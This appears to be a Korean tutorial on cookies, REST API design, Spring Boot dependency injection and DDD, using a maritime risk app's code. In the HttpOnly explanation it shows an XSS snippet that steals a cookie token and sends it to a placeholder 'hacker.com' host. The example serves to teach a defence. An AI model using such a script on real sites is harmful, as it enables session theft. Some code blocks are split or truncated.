2.4 Cookie와 세션 — 서버가 사용자를 기억하는 방법

문제: HTTP는 Stateless인데 어떻게 로그인 상태를 유지하나?

HTTP의 핵심 특성 중 하나는 **Stateless(무상태)**입니다. 서버는 이전 요청을 기억하지 않습니다. 마치 금붕어처럼 매 요청이 완전히 새로운 요청입니다.

```
요청 1: POST /api/auth/login → 200 OK (로그인 성공!)
요청 2: GET /api/ai/briefing → 401 Unauthorized (너 누구야?)
```

```
서버: "아까 로그인했다고? 난 기억 안 나는데."
```

이 문제를 해결하는 방법이 **Cookie**와 **JWT**입니다.

Cookie란?

Cookie는 서버가 브라우저에게 "이걸 기억해두고 다음에 올 때 가져와"라고 주는 작은 데이터입니다.

로그인 시:

```
[브라우저] POST /api/auth/login → [서버]
```

서버 응답 헤더:

```
Set-Cookie: access_token=eyJhbG...; HttpOnly; Path=/; Max-Age=18000
```

```
Set-Cookie: refresh_token=eyJhbG...; HttpOnly; Path=/api/auth/refresh; Max-Age=604800
```

브라우저: "알겠어, 이 쿠키를 저장해두고 다음에 보낼게."

다음 요청 시:

```
[브라우저] GET /api/ai/briefing → [서버]
```

요청 헤더:

```
Cookie: access_token=eyJhbG...
```

브라우저가 자동으로 쿠키를 포함합니다.

개발자가 따로 코드를 작성할 필요 없습니다.

Cookie의 속성들

Set-Cookie: access_token=eyJhbG...; HttpOnly; Secure; Path=/; Max-Age=18000; SameSite=La

각 속성의 의미:

access_token=eyJhbG...

쿠키의 이름=값

HttpOnly

JavaScript에서 접근할 수 없습니다.

document.cookie로 읽을 수 없습니다.

왜 중요한가?

XSS(Cross-Site Scripting) 공격 방어.

해커가 웹페이지에 악성 JavaScript를 삽입해도

토큰을 훔칠 수 없습니다.

만약 HttpOnly가 없다면:

```
<script>
```

```
// 해커가 삽입한 코드
```

```
const token = document.cookie; // 토큰 탈취!
```

```
fetch('https://hacker.com/steal?token=' + token);
```

```
</script>
```

HttpOnly가 있으면:

document.cookie → "" (빈 문자열, 접근 불가!)

Secure

HTTPS 연결에서만 전송됩니다.

HTTP로 요청 시 쿠키가 포함되지 않습니다.

→ 네트워크 도청으로 토큰 탈취 방지.

(로컬 개발 시에는 보통 생략)

Path=

이 경로 이하의 요청에만 쿠키를 전송합니다.

Path=/ → 모든 요청에 포함

Path=/api/auth/refresh → /api/auth/refresh 요청에만 포함

AnchorIQ에서:

access_token: Path=/ (모든 API에 필요)

refresh_token: Path=/api/auth/refresh (갱신 요청에만 필요)

Max-Age=18000

쿠키의 수명 (초 단위).

18000초 = 5시간.

5시간 후 브라우저가 자동으로 쿠키를 삭제합니다.

AnchorIQ 설정:

Access Token: 18000초 (5시간)

Refresh Token: 604800초 (7일)

SameSite=Lax

다른 사이트에서 링크를 통해 올 때만 쿠키 전송.

CSRF(Cross-Site Request Forgery) 공격 방어.

Chapter 3: REST API 설계

3.1 API란 무엇인가

API(Application Programming Interface)는 프로그램들이 서로 대화하기 위한 약속된 인터페이스입니다.

실생활 비유:

식당에서의 API:

여러분(클라이언트)은 주방(서버) 안에 들어갈 수 없습니다.
대신 메뉴판(API 문서)을 보고 주문(요청)하면
웨이터(HTTP)가 전달하고, 음식(응답)이 나옵니다.

메뉴판의 규칙:

- 존재하는 메뉴만 주문 가능 (정의된 엔드포인트만 호출)
- 메뉴별 가격이 다름 (인증/인가 레벨)
- 재료가 떨어지면 "품절" (404, 503)

AnchorIQ의 API:

프론트엔드(Next.js)는 백엔드(Spring Boot) 내부 코드를 모릅니다.
대신 API 문서(Swagger)를 보고 HTTP 요청을 보내면
약속된 형식의 JSON 응답을 받습니다.

3.2 REST란 무엇인가

REST(REpresentational State Transfer)는 API를 설계하는 아키텍처 스타일입니다. Roy Fielding이 2000년 박사 논문에서 제안했습니다.

REST의 핵심 원칙

원칙 1: URL은 "자원(Resource)"을 나타냅니다.

좋은 예:

/api/vessels	→ "선박" 자원
/api/vessels/9863297	→ "IMO 9863297번 선박" 자원
/api/ai/query	→ "AI 질의" 자원
/api/risks/alerts	→ "리스크 알림" 자원

나쁜 예:

/api/getVessels	→ 동사 사용 (REST 위반)
/api/deleteUser/5	→ 동사 사용 (REST 위반)
/api/vessel	→ 단수형 (관례상 복수형 사용)

원칙 2: HTTP 메서드가 "행동"을 나타냅니다.

GET	/api/vessels	→ "선박 목록을 조회"
GET	/api/vessels/123	→ "123번 선박을 조회"
POST	/api/vessels	→ "새 선박을 등록"
PUT	/api/vessels/123	→ "123번 선박 정보를 수정"
DELETE	/api/vessels/123	→ "123번 선박을 삭제"

URL (명사)과 메서드(동사)의 조합으로 의미를 표현합니다.
따로 동사를 URL에 넣을 필요가 없습니다.

원칙 3: Stateless – 서버는 상태를 저장하지 않습니다.

각 요청은 독립적이며, 요청에 필요한 모든 정보를 포함합니다.
"나 아까 로그인했잖아"가 안 됩니다.
매 요청마다 JWT 토큰을 포함해야 합니다.

장점:

- 서버를 여러 대로 늘려도 세션 공유가 필요 없음
- 요청을 아무 서버에나 보내도 동일하게 처리
- 서버 재시작해도 클라이언트에 영향 없음

원칙 4: 일관된 응답 형식

AnchorIQ의 모든 API는 같은 형식의 JSON을 반환합니다:

성공:

```
{
  "success": true,
  "data": { ... },      ← 실제 데이터
  "timestamp": "2026-..."
}
```

```

실패:
{
  "success": false,
  "error": {
    "code": "UNAUTHORIZED",
    "message": "Authentication required"
  },
  "timestamp": "2026-..."
}

프론트엔드가 일관되게 처리할 수 있어서 코드가 단순해집니다:
if (response.data.success) {
  // 성공 처리
} else {
  // 에러 표시 (response.data.error.message)
}

```

AnchorIQ의 174개 REST API 구조

인증 (5개):

```

POST /api/auth/signup    → 회원가입 (201 Created)
POST /api/auth/login     → 로그인 (200 OK + Cookie)
POST /api/auth/refresh   → 토큰 갱신 (200 OK + 새 Cookie)
POST /api/auth/logout    → 로그아웃 (200 OK + Cookie 삭제)
GET  /api/auth/me        → 내 정보 조회 (200 OK)

```

AI (9개):

```

POST /api/ai/query       → AI 질의 실행
GET  /api/ai/usage       → AI 사용량 조회
GET  /api/ai/briefing    → 일일 브리핑
GET  /api/ai/recommendations → 추천 사항
POST /api/ai/whatif      → What-if 시뮬레이션 실행
GET  /api/ai/whatif/templates → 시뮬레이션 템플릿 목록
GET  /api/ai/whatif/history → 시뮬레이션 이력
POST /api/ai/report/generate → 리포트 생성
GET  /api/ai/report/{id}  → 리포트 조회/다운로드

```

선박 (13개):

```

GET  /api/vessels        → 선박 목록 (페이지네이션)
GET  /api/vessels/{imo}   → 선박 상세
GET  /api/vessels/{imo}/risk → 선박 리스크 분석
GET  /api/vessels/{imo}/relationships → 선박 관계 (온톨로지)
GET  /api/vessels/{imo}/history → 선박 이력
...

```

(이하 174개 엔드포인트가 동일한 REST 규칙을 따름)

이 Part 2에서 다룬 것:

- HTTP 요청/응답의 모든 구성 요소
- GET, POST, PUT, DELETE의 차이와 실제 코드
- 상태 코드별 발생 상황과 AnchorIQ에서의 처리
- Cookie의 모든 속성과 보안 의미
- REST API 설계 원칙과 AnchorIQ 적용

다음 Part에서는 Spring Boot DDD 아키텍처와 JWT 인증을 같은 깊이로 다룹니다.

AnchorIQ CS 완전 가이드 — Part 3: Spring Boot와 DDD

Chapter 4: Spring Boot — 웹 애플리케이션의 뼈대

4.1 Spring Boot가 해결하는 문제

웹 애플리케이션을 만들려면 수많은 것들이 필요합니다:

- 웹 서버 (HTTP 요청을 받아야 하니까)
- 라우팅 (어떤 URL이 어떤 코드로 가야 하는지)
- JSON 파싱 (요청 데이터를 자바 객체로 바꿔야 하니까)
- 데이터베이스 연결 (데이터를 저장해야 하니까)
- 커넥션 풀 (DB 연결을 효율적으로 관리)
- 보안 (인증, 인가, 암호화)
- 로깅 (뭐가 일어나는지 기록)
- 설정 관리 (환경별 다른 설정)
- 예외 처리 (예외가 터졌을 때)
- ... 수십 가지 더

이것을 하나하나 직접 구현하면 "비즈니스 로직(AI 질의, 리스크 분석)"을 작성하기도 전에 수개월이 걸립니다.

Spring Boot는 위의 모든 것을 "자동 설정(Auto Configuration)"으로 제공합니다.

직접 하면:

- ① Tomcat 다운로드 → 설치 → 설정 파일 작성 → WAR 빌드 → 배포
- ② JDBC 드라이버 로드 → Connection 생성 → Statement 생성 → ResultSet 처리 → Connection 반환
- ③ Jackson 라이브러리 설정 → ObjectMapper 생성 → 날짜 포맷 설정 → ...

Spring Boot 쓰면:

- ① build.gradle에 의존성 한 줄 추가
- ② application.yml에 설정 몇 줄
- ③ 끝. 나머지는 자동.

4.2 IoC와 DI — Spring의 핵심 원리

IoC (Inversion of Control) — 제어의 역전

"제어의 역전"이라는 이름이 어려운데, 사실 간단한 개념입니다.

일반적인 프로그래밍 (개발자가 제어):

내가 필요한 것을 내가 직접 만듭니다.

```
class AiQueryController {
    // 내가 직접 new로 생성
    private AiQueryService service = new AiQueryServiceImpl();

    // AiQueryServiceImpl 안에서도 직접 생성
    // private Neo4jClient client = new Neo4jClient("bolt://localhost:7687");
    // private OpenClawClient ai = new OpenClawClient("http://127.0.0.1:18789");
    // private RedisTemplate redis = new RedisTemplate(...);
}
```

문제점:

1. AiQueryServiceImpl이 변경되면 Controller도 수정해야 함
2. 테스트할 때 진짜 Neo4j, Redis가 있어야 함 (단위 테스트 불가)
3. 객체 생성 순서를 개발자가 관리해야 함 (A가 B를 쓰고, B가 C를 쓰고...)

IoC (Spring이 제어):

내가 필요한 것을 Spring에게 "이것 좀 줘"라고 요청합니다.
Spring이 알아서 만들어서 넣어줍니다.

```
@RestController
@RequiredArgsConstructor // "이 필드들을 누군가 넣어줘"
class AiQueryController {
    private final AiQueryApplicationService service;
    // ↑ Spring이 알아서 AiQueryApplicationServiceImpl을 넣어줌
    // 내가 new를 하지 않음!
}
```

장점:

1. Controller는 "인터페이스"만 알면 됨 (구현체가 뭔지 몰라도 됨)
2. 테스트할 때 Mock 객체를 쉽게 넣을 수 있음
3. 객체 생성/소멸을 Spring이 자동 관리

왜 "역전"이라고 부르는가?

원래: 개발자가 객체를 생성하고, 의존성을 연결하는 "제어권"을 가짐

역전: Spring 컨테이너가 이 "제어권"을 가져감

개발자는 "이것이 필요해"라고 선언만 함

제어의 방향이 "개발자 → 프레임워크"에서 "프레임워크 → 개발자"로 뒤집힘.

이것이 "제어의 역전(Inversion of Control)".

DI (Dependency Injection) — 의존성 주입

DI는 IoC를 구현하는 구체적인 방법입니다. "필요한 것을 외부에서 넣어주는 것"입니다.

AnchorIQ의 실제 코드로 봅시다:

```
// AiQueryController.java
@RestController
@RequestMapping("/api/ai")
@RequiredArgsConstructor          // ← Lombok: final 필드를 매개변수로 받는 생성자 자동 생성
public class AiQueryController {

    private final AiQueryApplicationService aiQueryApplicationService;
    // ↑ 인터페이스 타입으로 선언. 구현체가 뭔지 Controller는 모름.

    @PostMapping("/query")
    public ResponseEntity<ApiResponse<AiQueryResponse>> query(
        @RequestBody AiQueryRequest request,
        @AuthenticationPrincipal UserPrincipal user) {

        Map<String, Object> result =
            aiQueryApplicationService.handleQuery(request.query(), user.userId());
        // ↑ 인터페이스의 메서드를 호출. 실제로는 AiQueryApplicationServiceImpl이 실행됨.

        return ResponseEntity.ok(ApiResponse.success(result));
    }
}
```

Lombok의 `@RequiredArgsConstructor` 가 자동으로 생성하는 코드:

```
// Lombok이 컴파일 시 자동 생성하는 생성자
public AiQueryController(AiQueryApplicationService aiQueryApplicationService) {
    this.aiQueryApplicationService = aiQueryApplicationService;
}

// Spring이 이 생성자를 보고:
// "아, AiQueryApplicationService 구현체가 필요하구나.
// 내가 등록된 Bean 중에서 이 인터페이스를 구현한 걸 찾아서 넣어줄게."
// → AiQueryApplicationServiceImpl을 찾아서 주입
```

Bean — Spring이 관리하는 객체

Spring이 생성하고 관리하는 객체를 "Bean"이라고 합니다. Bean으로 등록하는 방법:

```

// 방법 1: @Component 계열 어노테이션
@Controller    // 웹 요청을 받는 클래스
@Service        // 비즈니스 로직 클래스
@Repository     // 데이터 접근 클래스
@Component      // 기타 클래스

// 방법 2: @Configuration + @Bean
@Configuration
public class OpenClawConfig {
    @Bean
    public WebClient openClawWebClient() {
        return WebClient.builder()
            .baseUrl("http://127.0.0.1:18789")
            .defaultHeader("Authorization", "Bearer " + token)
            .build();
    }
    // 이 메서드가 반환하는 WebClient 객체가 Bean으로 등록됨
}

```


Bean 생명주기 — Spring 시작 시 무슨 일이 벌어지는가

./gradlew :anchoriq-api:bootRun 실행 시:

[1단계] 컴포넌트 스캔 (Component Scan)

Spring이 프로젝트의 모든 클래스를 스캔합니다.

@Component, @Service, @Repository, @Controller, @Configuration이 붙은 클래스를 찾아 "Bean 후보"로 등록합니다.

AnchorIQ에서 찾는 Bean들:

- AiQueryController (@RestController)
- AiQueryApplicationServiceImpl (@Service)
- NaturalLanguageQueryServiceImpl (@Service)
- OpenClawClient (@Component)
- Neo4jVesselRepository (@Repository)
- SecurityConfig (@Configuration)
- JwtAuthenticationFilter (@Component)
- ... 수십 개

[2단계] 의존성 그래프 분석

각 Bean이 어떤 다른 Bean을 필요로 하는지 분석합니다.

AiQueryController

- ↳ AiQueryApplicationService (인터페이스)
 - AiQueryApplicationServiceImpl을 찾음
 - ↳ NaturalLanguageQueryService
 - NaturalLanguageQueryServiceImpl
 - ↳ AiClient (인터페이스)
 - OpenClawClient를 찾음
 - ↳ WebClient (openClawWebClient Bean)
- ↳ Neo4jClient
- ↳ SubscriptionService
- ↳ StringRedisTemplate

[3단계] Bean 인스턴스 생성 (의존성 트리의 잎부터)

- ① WebClient 생성 (의존하는 것 없음 - 잎 노드)
- ② Neo4jClient 생성
- ③ OpenClawClient 생성 (WebClient 주입)
- ④ NaturalLanguageQueryServiceImpl 생성 (OpenClawClient, Neo4jClient 주입)
- ⑤ SubscriptionServiceImpl 생성
- ⑥ StringRedisTemplate 생성
- ⑦ AiQueryApplicationServiceImpl 생성 (④⑤⑥ 주입)
- ⑧ AiQueryController 생성 (⑦ 주입)

가장 안쪽(의존성이 없는 것)부터 바깥쪽(의존성이 많은 것)으로 생성.
마치 레고를 조립할 때 작은 블록부터 끼우는 것과 같습니다.

[4단계] 초기화 콜백

@PostConstruct가 붙은 메서드 실행.

"Bean이 다 만들어진 후 해야 할 초기화 작업"

[5단계] 서버 시작

내장 Tomcat이 8080(또는 설정된) 포트에서 LISTEN 시작.

콘솔 출력:

"Started AnchoriqApplication in 15.2s (process running for 16.1s)"

이 시점부터 HTTP 요청을 받을 수 있습니다.

4.3 Spring MVC 요청 처리 파이프라인

HTTP 요청이 Controller에 도달하기까지 여러 단계를 거칩니다. 공항의 입국 심사와 비슷합니다.

비행기 착륙 (HTTP 요청 도착)

|

▼

세관 검사 (Filter Chain)

"위험물이 없는지, 입국 자격이 있는지 확인"

|

▼

입국 심사대 (DispatcherServlet)

"어느 게이트로 안내할지 결정"

|

▼

해당 게이트 (Controller 메서드)

"실제 업무 처리"

|

▼

출국 심사 (응답 변환)

"결과를 포장해서 내보냄"

상세 단계

[1] Tomcat이 HTTP 요청을 수신

Tomcat은 Spring Boot에 내장된 웹 서버입니다.
8080 포트에서 TCP 소켓을 LISTEN하고 있다가,
TCP 연결이 들어오면 HTTP 메시지를 파싱합니다.

TCP 바이트 스트림:

```
"POST /api/ai/query HTTP/1.1\r\nHost: localhost:8080\r\n..."
```

이것을 Java의 HttpServletRequest 객체로 변환합니다:

- `getMethod()` → "POST"
- `getRequestURI()` → "/api/ai/query"
- `getHeader("Content-Type")` → "application/json"
- `getCookies()` → [Cookie(name="access_token", value="eyJ...")]
- `getInputStream()` → {"query": "호르무즈..."} (바이트 스트림)

[2] Filter Chain (필터 체인)

필터는 "요청이 Controller에 도달하기 전에 거치는 검문소"입니다.

여러 개의 필터가 순서대로 실행됩니다.

각 필터는 요청을 검사하고, 통과시키거나 차단할 수 있습니다.

AnchorIQ의 필터 실행 순서:

```
Filter 1: CorsFilter
Origin 헤더를 확인합니다.
"이 요청이 허용된 출처에서 온 것인가?"
Origin: http://localhost:3004
→ SecurityConfig의 allowedOrigins에 포함됨 → 통과
응답 헤더에 CORS 관련 헤더를 추가합니다:
Access-Control-Allow-Origin: http://localhost:3004
Access-Control-Allow-Credentials: true
```

통과



```
Filter 2: JwtAuthenticationFilter (커스텀)
JWT 토큰을 추출하고 검증합니다.
순서:
```

```

① Cookie에서 "access_token" 찾기
  → Cookie: access_token=eyJhbGciOiJIUzI1NiJ9...
  → 토큰 발견!

② 토큰 유효성 검증
  - HMAC-SHA256 서명 검증 (비밀키로 재계산)
  - 만료 시간(exp) 확인
  - 토큰 타입이 "access"인지 확인
    (refresh 토큰으로 API 호출하는 것 방지)

③ 토큰에서 사용자 정보 추출
  - userId: 5
  - email: "aitest@anchoriq.com"
  - role: "USER"

④ UserPrincipal 객체 생성
  new UserPrincipal(5, "aitest@...", "USER")

⑤ Spring SecurityContext에 인증 정보 저장
  SecurityContextHolder
    .getContext()
    .setAuthentication(authToken);

⑥ 다음 필터로 전달
  filterChain.doFilter(request, response);

※ 토큰이 없거나 유효하지 않으면?
  → 인증 정보를 설정하지 않고 그냥 다음으로 넘김
  → 나중에 AuthorizationFilter에서 401 처리

```

통과



```

Filter 3: AuthorizationFilter

SecurityContext에 인증 정보가 있는지 확인합니다.

/api/ai/query는 SecurityConfig에서:
  .anyRequest().authenticated()
로 설정되어 있으므로 인증이 필요합니다.

SecurityContext에 UserPrincipal이 있음 → 통과!

만약 없었다면 (토큰이 없거나 만료):
  → authenticationEntryPoint가 호출되어
  401 JSON 응답을 바로 반환하고 여기서 끝남

```

통과



[3] DispatcherServlet (프론트 컨트롤러)

모든 HTTP 요청이 도달하는 중앙 허브입니다.
Spring MVC의 핵심 컴포넌트입니다.

하는 일:

① HandlerMapping에게 "이 URL을 처리할 Controller를 찾아줘" 요청

RequestMappingHandlerMapping이 어노테이션을 스캔:
POST /api/ai/query
→ @RestController @RequestMapping("/api/ai")
→ @PostMapping("/query")
→ AiQueryController.query() 메서드를 찾음!

② HandlerAdapter에게 "이 메서드를 실행해줘" 요청

RequestMappingHandlerAdapter가 메서드 실행을 준비:

a) @RequestBody 처리:

HTTP Body의 JSON 문자열을 Java 객체로 변환합니다.

Jackson ObjectMapper가 수행:

```
{"query": "호르무즈 근처에 제재국 선박 있어?"}
```

1. JSON 문자열을 파싱하여 트리 구조로 변환
2. AiQueryRequest record의 필드와 JSON 키를 매칭
"query" → AiQueryRequest.query
3. 값을 할당하여 객체 생성
new AiQueryRequest("호르무즈 근처에 제재국 선박 있어?")

이 과정을 "역직렬화(Deserialization)"라고 합니다.
JSON(문자열) → Java 객체 방향.

b) @AuthenticationPrincipal 처리:

SecurityContext에서 인증 정보를 가져옵니다.

Filter 2에서 저장한 UserPrincipal(5, "aitest@...", "USER")

c) @Valid 처리 (있는 경우):

Bean Validation 실행.

@NotBlank가 query 필드에 있으면:

- null이면 → MethodArgumentNotValidException → 400
- ""이면 → MethodArgumentNotValidException → 400
- " "이면 → MethodArgumentNotValidException → 400

[4] Controller 메서드 실행

AiQueryController.query(request, user) 실행

- aiQueryApplicationService.handleQuery(query, userId) 호출
- ... (DDD 레이어를 따라 처리 – 다음 섹션에서 상세 설명)
- 결과 Map<String, Object> 반환

[5] 응답 변환 및 반환

Controller가 ResponseEntity를 반환하면:

① Java 객체 → JSON 변환 (직렬화, Serialization)

Jackson ObjectMapper가 수행:

```
ApiResponse {success=true, data={answer="현재...", cypher="MATCH...", entities=[]}}  
→ {"success":true,"data":{"answer":"현재...","cypher":"MATCH...","entities":[]}}
```

② HTTP 응답 메시지 구성

HTTP/1.1 200 OK

Content-Type: application/json

(보안 헤더들...)

```
{"success":true,"data":{"...}}
```

③ Filter Chain (역순)으로 통과

필터들이 응답 헤더를 추가할 수 있음

(보안 헤더, CORS 헤더 등)

④ Tomcat이 TCP 소켓을 통해 클라이언트에게 전송

4.4 DDD (Domain-Driven Design) — AnchorIQ의 설계 철학

DDD란 무엇이고 왜 필요한가

소프트웨어가 복잡해지면 코드를 어떻게 구조화할지가 중요해집니다. DDD는 ***현실 세계의 비즈니스를 그대로 코드로 표현하자***는 설계 철학입니다.

현실 세계:

"선박은 회사가 소유하고, 회사는 국가에 등록되어 있고,
국가는 제재를 받을 수 있다.
선박의 리스크는 이 관계들을 종합하여 평가한다."

DDD 코드:

```
Vessel.evaluateRiskScore(sanctionedCountries)
```

→ 선박이 자신의 리스크를 스스로 평가 (현실처럼!)

비-DDD 코드:

```
RiskCalculationUtil.calculate(vessel, company, country, sanctions)
```

→ 외부 유틸리티가 계산 (현실과 동떨어짐)

DDD의 핵심 원칙: "비즈니스 로직은 **Entity** 안에 넣는다."

AnchorIQ에서 "선박의 리스크 점수는 선박 스스로 계산한다":

```
// Vessel.java - 도메인 Entity (비즈니스 로직 보유!)
public class Vessel extends AggregateRoot {

    private Imo imo;           // IMO 번호 (Value Object)
    private Flag flag;         // 국적 (Value Object)
    private VesselType type;    // 선종 (Enum)
    private VesselStatus status; // 상태 (Enum)
    private int riskScore;      // 리스크 점수
    private Company company;    // 소유 회사

    /**
     * 리스크 점수 평가 - 핵심 비즈니스 로직
     *
     * 이 메서드가 Entity 안에 있는 것이 DDD의 핵심입니다.
     * "선박아, 네 리스크 점수를 평가해봐" (Tell, Don't Ask)
     *
     * 반대 패턴 (안 좋은 방식):
     *   int score = 0;
     *   if (vessel.getFlag().equals("IR")) score += 20; // Getter로 꺼내서 외부에서 판단
     *   → 비즈니스 로직이 여기저기 흩어짐
     */
    public int evaluateRiskScore(
        Set<String> sanctionedCountryCodes,
        Set<String> highRiskFlags) {

        int score = 0;

        // 규칙 1: 제재국 기업 소유 → +40점
        // 이 판단은 Vessel이 자신의 company를 알고 있으므로 직접 할 수 있음
        if (isRegisteredInSanctionedCountry(sanctionedCountryCodes)) {
            score += 40;
        }

        // 규칙 2: 편의치적(고위험 깃발) → +20점
        // Flag Value Object가 자신의 값을 제공
        if (flag != null && highRiskFlags.contains(flag.value())) {
            score += 20;
        }

        // 규칙 3: 선령에 따른 리스크
        int age = calculateAge();
        if (age >= 20) score += 15; // 20년 이상: +15
        else if (age >= 15) score += 10; // 15년 이상: +10

        // 규칙 4: 유조선은 화물 위험도 추가 → +10점
        if (isTanker()) score += 10;

        // 규칙 5: AIS 이상 상태 → +15점
        if (status == VesselStatus.NOT_UNDER_COMMAND) score += 15;
    }
}
```



```
int newScore = Math.min(score, 100); // 최대 100점

// 점수가 변경되었으면 도메인 이벤트 발행
if (this.riskScore != newScore) {
    this.riskScore = newScore;
    registerEvent(new RiskScoreChangedEvent(this.imo, newScore));
    // → Kafka Consumer가 이 이벤트를 감지하여 후속 처리
}

return this.riskScore;
}
}
```

DDD 4개 레이어

AnchorIQ의 모든 모듈은 4개 레이어로 나뉩니다. 각 레이어의 역할이 명확히 분리되어 있습니다.

Controller (api/ 패키지)

역할: "문 앞 안내원"

하는 일:

- ① HTTP 요청을 받는다 (@PostMapping, @GetMapping)
- ② 요청 데이터를 변환한다 (@RequestBody → Java 객체)
- ③ Application Service에 위임한다
- ④ 결과를 HTTP 응답으로 변환한다 (Java 객체 → JSON)

하면 안 되는 일:

- x 비즈니스 로직 (리스크 계산, 쿼터 확인 등)
- x 직접 DB 접근
- x 외부 API 직접 호출

코드 예시: AiQueryController.java

```
@PostMapping("/query")
public ResponseEntity<ApiResponse> query(request, user) {
    Map result = service.handleQuery(
        request.query(), user.userId()); // 위임만!
    return ResponseEntity.ok(ApiResponse.success(result));
}

// 5줄. 판단 없음. 받고 → 넘기고 → 반환.
```

Application Service (application/ 패키지)

역할: "지휘관" – 순서를 정하고 위임

하는 일:

- ① 트랜잭션 경계 관리
- ② 여러 서비스의 실행 순서 조율 (오케스트레이션)
- ③ 인프라 서비스 호출 (캐시, 로깅 등)

하면 안 되는 일:

- x 비즈니스 판단 ("리스크가 높은가?" 같은 판단)
- x 도메인 규칙 구현

코드 예시: AiQueryApplicationServiceImpl.java

```
public Map handleQuery(String query, Long userId) {
    checkApiQuota(userId); // 1. 쿼터 확인
    String cached = redis.get(key); // 2. 캐시 확인
    if (cached != null) return parse(cached);

    Map result = queryService.executeQuery(query); // 3. 실행
```

```

        redis.set(key, result, 5, MINUTES); // 4. 캐싱
        subscriptionService.incrementApiUsage(userId); // 5. 사용량
        logger.logDecision(query, result); // 6. 로깅

        return result;
    }

    // 순서 조율만! "쿼터가 얼마인지", "캐시 전략이 뭔지"는
    // 여기서 판단하지 않고 각 서비스에 위임.

```

Domain (domain/ 패키지)

역할: "전문가" - 비즈니스 규칙을 아는 곳

포함하는 것:

- Entity: 고유 식별자가 있는 객체 (Vessel, Company, Port)
- Value Object: 값으로 동등성을 판단하는 불변 객체 (Imo, Flag)
- Domain Service: 여러 Entity에 걸친 로직
- Repository 인터페이스: 저장/조회 추상화

핵심 규칙:

- ✓ 비즈니스 로직은 여기에! (vessel.evaluateRiskScore())
- ✓ 순수 Java만 사용 (Spring 어노테이션 없음!)
- ✓ 외부 의존성 없음 (DB, HTTP, Kafka 모름)

왜 순수 Java만?

- 단위 테스트를 DB 없이 할 수 있음
- 프레임워크를 바꿔도 비즈니스 로직은 그대로
- 가장 중요한 코드가 가장 안전한 곳에 있음

Infrastructure (infrastructure/ 패키지)

역할: "실무자" - 외부 시스템과 실제 통신

포함하는 것:

- Repository 구현체: Neo4jVesselRepository
- API 클라이언트: OpenClawClient
- 보안: JwtAuthenticationFilter, SecurityConfig
- 설정: OpenClawConfig

하는 일:

- ① DB에 실제로 저장/조회 (Neo4j, PostgreSQL, Redis)
- ② 외부 API 실제 호출 (OpenClaw AI)
- ③ JWT 토큰 생성/검증
- ④ Kafka 메시지 발행/소비

| Domain 레이어의 인터페이스를 구현: |

| VesselRepository (인터페이스) ← Neo4jVesselRepository (구현) |

| AiClient (인터페이스) ← OpenClawClient (구현) |

Entity vs Value Object vs DTO

Entity (엔티티)

"고유한 정체성(Identity)을 가진 객체"

현실: 쌍둥이도 서로 다른 사람. 이름이 같아도 다른 사람.

코드: IMO 번호가 같으면 같은 선박. 이름이 바뀌어도 같은 선박.

특징:

- 고유 식별자가 있음 (Vessel의 IMO, User의 ID)
- 속성이 변할 수 있음 (선박 이름 변경, 상태 변경)
- 비즈니스 로직을 가짐 (evaluateRiskScore)
- 생명주기가 있음 (생성 → 변경 → 삭제)

예: Vessel, Company, User, Port, Subscription

Value Object (값 객체)

"값 자체가 의미인 객체. 값이 같으면 같은 것."

현실: 만원짜리 두 장은 구분할 필요 없음. 둘 다 만 원.

코드: Imo("9863297") 두 개는 완전히 같은 것.

특징:

- 고유 식별자 없음
- 불변(Immutable) - 한 번 만들면 값을 바꿀 수 없음
- 동등성(Equality) = 모든 속성이 같으면 같은 것
- 생성 시 검증 - 잘못된 값은 만들 수 없음

왜 String 대신 Value Object를 쓰는가?

```
String imo = "not-a-valid-imo";  
// 컴파일 OK. 런타임에 문제 발생. 어디서 잘못됐는지 찾기 어려움
```

```
Imo imo = new Imo("not-a-valid-imo");  
// 즉시 IllegalArgumentException! 문제를 바로 발견.
```

코드:

```
public record Imo(String value) {  
    public Imo {  
        if (value == null || !value.matches("\\d{7}"))  
            throw new IllegalArgumentException(  
                "IMO는 7자리 숫자여야 합니다: " + value);  
    }  
}
```

```
}
```

예: Imo, Mmsi, Flag, Email, RiskScore, Coordinate

DTO (Data Transfer Object)

"레이어 간 데이터를 운반하는 가방"

현실: 택배 상자. 내용물을 담아서 이동시키는 것이 목적.

코드: HTTP 요청/응답의 JSON을 담는 것이 목적.

특징:

- 비즈니스 로직 없음 (그냥 데이터 담는 그릇)
- Controller ↔ 외부 세계 통신에만 사용
- Domain Entity를 직접 노출하지 않기 위해 사용

왜 Entity를 직접 반환하지 않는가?

- ① 보안: Entity에는 password 같은 민감 필드가 있을 수 있음
- ② 결합도: Entity 구조가 바뀌면 API 응답도 바뀜
- ③ 유연성: API 버전별로 다른 형태의 응답 제공 가능

코드:

```
// 요청 DTO
public record AiQueryRequest(
    @NotBlank String query
) {}

// 응답 DTO
public record AiQueryResponse(
    String answer,
    List<Map<String, Object>> entities,
    String cypher,
    int remainingQueries
) {}
```

Entity에는 없는 remainingQueries가 DTO에는 있음.

→ API 사용자에게 필요한 정보를 유연하게 구성 가능.

Aggregate Root — 관련 객체의 대장

문제: Vessel이 PortCall(입항 기록)을 여러 개 가지고 있을 때,
외부에서 PortCall을 직접 수정하면 Vessel의 일관성이 깨질 수 있음.

예: 선박이 항해 중(SAILING)인데, 누군가 직접 PortCall을 추가하면?
→ "항해 중인 선박이 항구에 정박" → 모순!

해결: Vessel을 Aggregate Root로 지정.
PortCall에 대한 모든 접근은 반드시 Vessel을 통해.

```
// 올바른 방법 (Aggregate Root를 통해)
vessel.recordPortCall(port, arrivalTime);
// Vessel이 자신의 상태(SAILING→MOORED)를 확인한 후 PortCall 추가
// 상태가 맞지 않으면 예외 발생 → 일관성 보장

// 잘못된 방법 (Aggregate Root 우회)
portCallRepository.save(new PortCall(vessel, port, time));
// Vessel의 상태를 확인하지 않고 직접 저장 → 일관성 깨짐!
```

Repository 패턴 — 왜 인터페이스와 구현체를 분리하는가

[Domain 레이어 — core 모듈]

```
public interface VesselRepository {  
    Optional<Vessel> findByImo(Imo imo);  
    void save(Vessel vessel);  
}
```

이 인터페이스는 "선박을 저장하고 조회할 수 있다"는 것만 정의합니다.
어떤 DB를 쓰는지 모릅니다. Neo4j인지, PostgreSQL인지, 파일인지.

→ core 모듈은 어떤 외부 라이브러리에도 의존하지 않습니다!
→ 순수 Java만으로 작성되어 있습니다.

[Infrastructure 레이어 — api 모듈]

```
@Repository  
public interface Neo4jVesselRepository extends Neo4jRepository<Neo4jVesselNode, Long> {  
    Optional<Neo4jVesselNode> findByImo(String imo);  
}
```

이것이 Neo4j를 사용하는 실제 구현체입니다.
